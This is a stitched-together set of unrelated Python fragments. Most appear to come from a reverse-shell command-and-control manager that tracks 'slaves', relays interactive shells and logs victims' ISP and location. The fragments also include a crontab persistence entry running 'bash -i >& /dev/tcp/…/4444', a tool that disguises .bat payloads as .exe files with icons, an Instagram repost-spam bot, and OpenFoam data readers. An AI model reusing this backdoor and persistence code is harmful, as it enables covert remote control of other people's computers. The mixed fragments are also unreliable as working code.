def send_command_print(self, command): print((">>>>>> %s") % command) self.send_command(command) time.sleep(0.5) Log.info("Receving data from socket...") result = recvall(self.socket_fd) Log.success(result)
def master(host, port): Log.info("Master starting at %s:%d" % (host, port)) master_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) master_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) master_fd.bind((host, port)) master_fd.listen(MAX_CONNECTION_NUMBER) while (True): if EXIT_FLAG: break slave_fd, slave_addr = master_fd.accept() Log.success("\r[+] Slave online : %s:%d" % (slave_addr[0], slave_addr[1])) repeat = False for i in slaves.keys(): slave = slaves[i] if slave.hostname == slave_addr[0]: repeat = True break if repeat: Log.warning("Detect the same host connection, reseting...") slave_fd.shutdown(socket.SHUT_RDWR) slave_fd.close() else: slave = Slave(slave_fd) slaves[slave.node_hash] = slave Log.error("Master exiting...") master_fd.shutdown(socket.SHUT_RDWR) master_fd.close()
def post(): caption = ''' Tag your friends • ➖➖➖➖➖➖➖➖➖➖ 🎈Double Tap ❤ 🎈Share and TAG your buddies who love to travel ➖➖➖➖➖➖➖➖➖➖ 🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹 ‼ Follow @{myAccount} ‼ Follow @{myAccount} ‼ Follow @{myAccount} 🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹 Credit : @{pictureOwner} . . {hashtags} '''.format(myAccount=username, pictureOwner=popularPost["owner"], hashtags=' '.join(popularPost["hashtags"])) print("\n") Log.info("Posting " + popularPost["path"]) print("\n") bot.upload_photo(popularPost["path"], caption=caption) Log.success("Posted!") os.remove(popularPost["path"] + '.REMOVE_ME')
def login(): passwordToPrint = "" for i in range(len(password)): passwordToPrint += "*" print("=" * 50) print("\n") Log.warning("Logging in...") print("\n") Log.info("Username: "******"Password: "******"\n") if (useProxy): try: bot.login(username=username, password=password, proxy=proxy_url) except AssertionError: os.remove('config/' + username + '_uuid_and_cookie.json') bot.login(username=username, password=password, proxy=proxy_url) else: try: bot.login(username=username, password=password) except AssertionError: os.remove('config/' + username + '_uuid_and_cookie.json') bot.login(username=username, password=password) Log.success("Logged In as " + username) print("\n")
class TorchReader(): """ Utility for reading in pre-processed OpenFoam tensor files. """ def __init__(self): self.lg = Log() def loadTensor(self, fileName): """ Read in tensor """ try: self.lg.log('Attempting to read file: '+str(fileName)) self.lg.log('Parsing file...') t0 = th.load(fileName) self.lg.success('Data field file successfully read.') except OSError as err: print("OS error: {0}".format(err)) return except IOError as err: print("File read error: {0}".format(err)) return except: print("Unexpected error:{0}".format(sys.exc_info()[0])) return return t0 def readScalarTh(self, timeStep, fieldName, dirPath = '.'): data0 = self.loadTensor('{}/{}/{}-torch.th'.format(str(dirPath),str(timeStep),fieldName)) try: data = data0.squeeze(1) except: data = data0 return data def readVectorTh(self, timeStep, fieldName, dirPath = '.'): return self.loadTensor('{}/{}/{}-torch.th'.format(str(dirPath),str(timeStep),fieldName)).type(dtype) def readTensorTh(self, timeStep, fieldName, dirPath = '.'): data0 = self.loadTensor('{}/{}/{}-torch.th'.format(str(dirPath),str(timeStep),fieldName)).type(dtype) #Reshape into [nCells,3,3] Tensor return data0.view(data0.size()[0],3,-1) def readSymTensorTh(self, timeStep, fieldName, dirPath = '.'): data0 = self.loadTensor('{}/{}/{}-torch.th'.format(str(dirPath),str(timeStep),fieldName)).type(dtype) #Reshape into [nCells,3,3] Tensor return data0.view(data0.size()[0],3,-1) def readCellCenters(self, timeStep, dirPath='.'): return self.loadTensor('{}/{}/cellCenters-torch.th'.format(str(dirPath),str(timeStep))).type(dtype)
def scrapeHashtag(): global popularPost print("=" * 50) print("\n") labelBuffer = input("Hashtag: ") label = labelBuffer.replace("#", "") Screen.clear() Log.success("Analyzing #" + label) popularPost = Instagram.searchHashtag(label) print("\n") Log.info("Owner: @" + popularPost["owner"]) Log.info("Likes: " + str(popularPost["likes"])) print("\n") print("=" * 50)
def send_command_log(self, command): log_file = "./log/%s.log" % (time.strftime("%Y-%m-%d_%H:%M:%S", time.localtime())) Log.info("Log file : %s" % (log_file)) self.send_command(command) time.sleep(0.5) Log.info("Receving data from socket...") result = recvall(self.socket_fd) Log.success(result) with open(log_file, "a+") as f: f.write("[%s]\n" % ("-" * 0x20)) f.write("From : %s:%d\n" % (self.hostname, self.port)) f.write(u"ISP : %s-%s\n" % (self.country, self.isp)) f.write(u"Location : %s-%s-%s\n" % (self.area, self.region, self.city)) f.write("Command : %s\n" % (command)) f.write("%s\n" % (result))
def manage(user_fd): check_user = check_admin(user_fd) if check_user: msg = 'You are admin now \n' Log.success(msg, user_fd) else: msg = 'You are not admin, exit now \n' Log.info(msg, user_fd) user_fd.shutdown(socket.SHUT_RDWR) user_fd.close() return False global interactive_user interactive_user = user_fd t = threading.Thread(target=transfer2user, args=(user_fd, 'Control_Command')) t.start()
def multiProfile(): global username, password configProfileFolder = "./config/profiles/" filesCount = sum( [len(files) for r, d, files in os.walk(configProfileFolder)]) if (filesCount == 0): Log.warning("0 Profiles Found...") Log.success("1. Create Profile") Log.error("2. Exit") choice = int(input("\n=> ")) if (choice == 1): createProfile(configProfileFolder) else: close() else: print("\n") Log.warning("Select your account") print("\n") Log.success("1. Create Profile") profiles = [] i = 2 for f in os.listdir(configProfileFolder): profiles.append(f) Log.info(str(i) + ". " + f.replace("_settings.ini", "")) i += 1 Log.error(str(i) + ". Delete Profile") Log.error(str(i + 1) + ". Exit") choice = int(input("\n=> ")) if (choice == 1): createProfile(configProfileFolder) elif (choice == i): deleteProfile(configProfileFolder) elif (choice == i + 1): close() else: config = configparser.ConfigParser() user = profiles[choice - 2] config.read(configProfileFolder + user) username = config['Instagram']['username'] password = config['Instagram']['password'] Log.success(username) print("\n")
def send_command_print(self, command): self.send_command(command) time.sleep(0.125) result = recvall(self.socket_fd) Log.success(result)
class FoamReader(): """ Utility for reading in OpenFoam data files. Functions for reading in mesh data need to be updated if needed """ def __init__(self): self.lg = Log() def readFieldData(self, fileName): """ Reads in openFoam field (vector, or tensor) Args: fileName(string): File name Returns: data (FloatTensor): tensor of data read from file """ #Attempt to read text file and extact data into a list try: self.lg.log('Attempting to read file: ' + str(fileName)) rgx = re.compile('[%s]' % '(){}<>') rgx2 = re.compile('\((.*?)\)') #regex to get stuff in parenthesis file_object = open(str(fileName), "r").read().splitlines() #Find line where the internal field starts self.lg.log('Parsing file...') fStart = [ file_object.index(i) for i in file_object if 'internalField' in i ][-1] + 1 fEnd = [ file_object.index(i) for i in file_object[fStart:] if ';' in i ][0] data_list = [[float(rgx.sub('', elem)) for elem in vector.split()] for vector in file_object[fStart + 1:fEnd] if not rgx2.search(vector) is None] #For scalar fields if (len(data_list) == 0): data_list = [ float(rgx.sub('', elem)) for elem in file_object[fStart + 1:fEnd] if not len(rgx.sub('', elem)) is 0 ] except OSError as err: print("OS error: {0}".format(err)) return except IOError as err: print("File read error: {0}".format(err)) return except: print("Unexpected error:{0}".format(sys.exc_info()[0])) return self.lg.success('Data field file successfully read.') data = th.DoubleTensor(data_list) return data def readScalarData(self, timeStep, fileName, dirPath=''): return self.readFieldData( str(dirPath) + '/' + str(timeStep) + '/' + fileName).type(dtype) def readVectorData(self, timeStep, fileName, dirPath=''): return self.readFieldData( str(dirPath) + '/' + str(timeStep) + '/' + fileName).type(dtype) def readTensorData(self, timeStep, fileName, dirPath=''): data0 = self.readFieldData( str(dirPath) + '/' + str(timeStep) + '/' + fileName).type(dtype) #Reshape into [nCells,3,3] Tensor return data0.view(data0.size()[0], 3, -1) def readSymTensorData(self, timeStep, fileName, dirPath=''): data0 = self.readFieldData( str(dirPath) + '/' + str(timeStep) + '/' + fileName).type(dtype) #Reshape into [nCells,3,3] Tensor data = th.DoubleTensor(data0.size()[0], 3, 3) data[:, 0, :] = data0[:, 0:3] #First Row is consistent data[:, 1, 0] = data0[:, 1] #YX = XY data[:, 1, 1] = data0[:, 3] #YY data[:, 1, 2] = data0[:, 4] #YZ data[:, 2, 0] = data0[:, 2] #ZX = XZ data[:, 2, 1] = data0[:, 4] #ZY = YZ data[:, 2, 2] = data0[:, 5] return data def readCellCenters(self, timeStep, dirPath=''): """ Reads in openFoam vector field for the specified timestep Args: timeStep (float): Time value to read in at fileName(string): File name Returns: data (DoubleTensor): array of data read from file """ #Attempt to read text file and extact data into a list try: file_path = dir + "/" + str(timeStep) + "/cellCenters" self.lg.log('Reading mesh cell centers ' + file_path) rgx = re.compile('\((.*?)\)') #regex to get stuff in parenthesis file_object = open(file_path, "r").read().splitlines() #Find line where the internal field starts commentLines = [ file_object.index(line) for line in file_object if "//*****" in line.replace(" ", "") ] fStart = [ file_object.index(i) for i in file_object if 'internalField' in i ][-1] + 1 fEnd = [ file_object.index(i) for i in file_object[fStart:] if ';' in i ][0] cell_list0 = [ rgx.search(center).group(1) for center in file_object[fStart + 1:fEnd] if not rgx.search(center) is None ] cell_list = [[float(elem) for elem in c0.split()] for c0 in cell_list0] except OSError as err: print("OS error: {0}".format(err)) return except IOError as err: print("File read error: {0}".format(err)) return except: print("Unexpected error:{0}".format(sys.exc_info()[0])) return return th.DoubleTensor(cell_list)
def transfer2user(user_fd, mod, **kwargs): """所有接受用户消息进程都归于此""" global interactive_slave, EXIT_FLAG, interactive_state, choosed_slave, interactive_user choosed_slave = None while True: server_log('get user info\n') if EXIT_FLAG: break if mod != 'interactive_shell': if choosed_slave: if choosed_slave.name: msg = '(' + choosed_slave.name + ')' else: msg = '(' + choosed_slave.hostname + ')' Log.error(msg, user_fd) Log.command('>>>', user_fd) buf = user_fd.recv(2048) #print(buf) if buf == b'': break if buf: command = str(buf, encoding="utf-8") server_log(command) if mod == 'interactive_shell': slave_fd = kwargs['slave_fd'] slave = kwargs['slave'] if command == 'Ex1t\n': interactive_state = 'common_rec' interactive_slave = None break try: fd_send(slave_fd, command) except socket.error: slave.del_socket() if command == 'exit\n': time.sleep(0.5) try: msg = '\n' fd_send(slave_fd, msg) fd_send(slave_fd, msg) # slaves[key].socket_fd.recv(2048) except socket.error: server_log(traceback.format_exc()) check_online_slave() interactive_state = 'common_rec' interactive_slave = None break elif mod == 'Control_Command': if command == 'show\n' or command == 's\n': print_salve(user_fd) elif command == 'check\n' or command == 'ck\n': check_online_slave() elif command == '\n': continue elif command == 'recent\n' or command == 'r\n': recent_log(user_fd) elif command == 'i\n': slave = choosed_slave interactive_slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.warning(msg, user_fd) continue interactive_state = 'interactive_state' t = threading.Thread(target=transfer2user, args=(user_fd, 'interactive_shell'), kwargs={ 'slave_fd': slave.socket_fd, 'slave': slave }) t.start() while interactive_state == 'interactive_state': if EXIT_FLAG: break time.sleep(1) choosed_slave = None elif command == 'exit\n': interactive_user == None user_fd.shutdown(socket.SHUT_RDWR) user_fd.close() break elif command[0:6] == 'choose' or command == 'c\n': #check_online_slave() if command == 'c\n' or command == 'choose\n': msg = 'input the number of slave\n' Log.warning(msg, user_fd) print_salve(user_fd) choosed_slave = transfer2user(user_fd, 'choose_slave') elif command[0:7] == 'choose ': pa = re.compile(r'choose\s+(.*?)\n') res = pa.findall(command) if res: i = 0 for key in slaves.keys(): if str(i) == res[0]: choosed_slave = slaves[key] break i += 1 if choosed_slave: msg = 'select the slave :' msg += choosed_slave.hostname + ' : ' + str( choosed_slave.port) + '\n' Log.success(msg, user_fd) else: msg = 'Do not have this slave.\n' fd_send(user_fd, msg) elif command == 'del\n': slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.error(msg, user_fd) continue slave.disconnect() msg = 'success to delete the slave \n' Log.success(msg, user_fd) choosed_slave = None elif command[0:4] == 'name' and command[4] == ' ': slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.error(msg, user_fd) continue pa = re.compile(r'name\s+(.*?)\n') res = pa.findall(command) if not res: msg = 'Please rewrite the name.\n' Log.error(msg, user_fd) continue slave.name = res[0] choosed_slave = None elif command[0:3] == 'add' and (command[3] == ' ' or command[3] == '\n'): slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.error(msg, user_fd) continue if command[3] == ' ': pa = re.compile(r'add\s+(.*?)\n') res = pa.findall(command) if not res: msg = 'Please rewrite the add command.\n' Log.error(msg, user_fd) continue slave.add_crontab(res[0], user_fd) else: content = '''\n* * * * * bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"\n''' slave.add_crontab(content, user_fd) else: print_command(user_fd) elif mod == 'choose_slave': slave_num = command.strip() if slave_num == 'q': return None i = 0 for key in slaves.keys(): if str(i) == slave_num: choosed_slave = slaves[key] break i += 1 if choosed_slave: msg = 'select the slave :' msg += choosed_slave.hostname + ' : ' + str( choosed_slave.port) + '\n' Log.success(msg, user_fd) return choosed_slave else: msg = 'Do not have this slave.\n' fd_send(user_fd, msg) return None
args = parser.parse_args() if args.listen: ReverseShellManager.main("0.0.0.0", args.port) elif args.bat != None and args.output!= None: if shutil.which("wine") == None: Log.error("Wine not found!") exit() if args.target != 32 and args.target != 64: Log.error("Invalid target. Only 32 and 64!") exit() target = "./bin/b2ec32.exe" if args.target == 32 else "./bin/b2ec64.exe" Log.success("Crafting {0} into {1}".format(args.bat, args.output)) command = ["wine", target, "/bat", args.bat, "/exe", args.output] if args.icon != None: command.append("/icon") command.append(args.icon) res = subprocess.run(command, stdout=subprocess.PIPE) phases = res.stdout.decode("utf8").split("\n") for phase in phases: if len(phase) > 2 and not "Process finished" in phase: Log.success("{0}".format(phase)) else: print("") print("\033[1;32m[*] \033[35mDone! (ノ゚0゚)ノ~\033[0m") else: parser.print_help()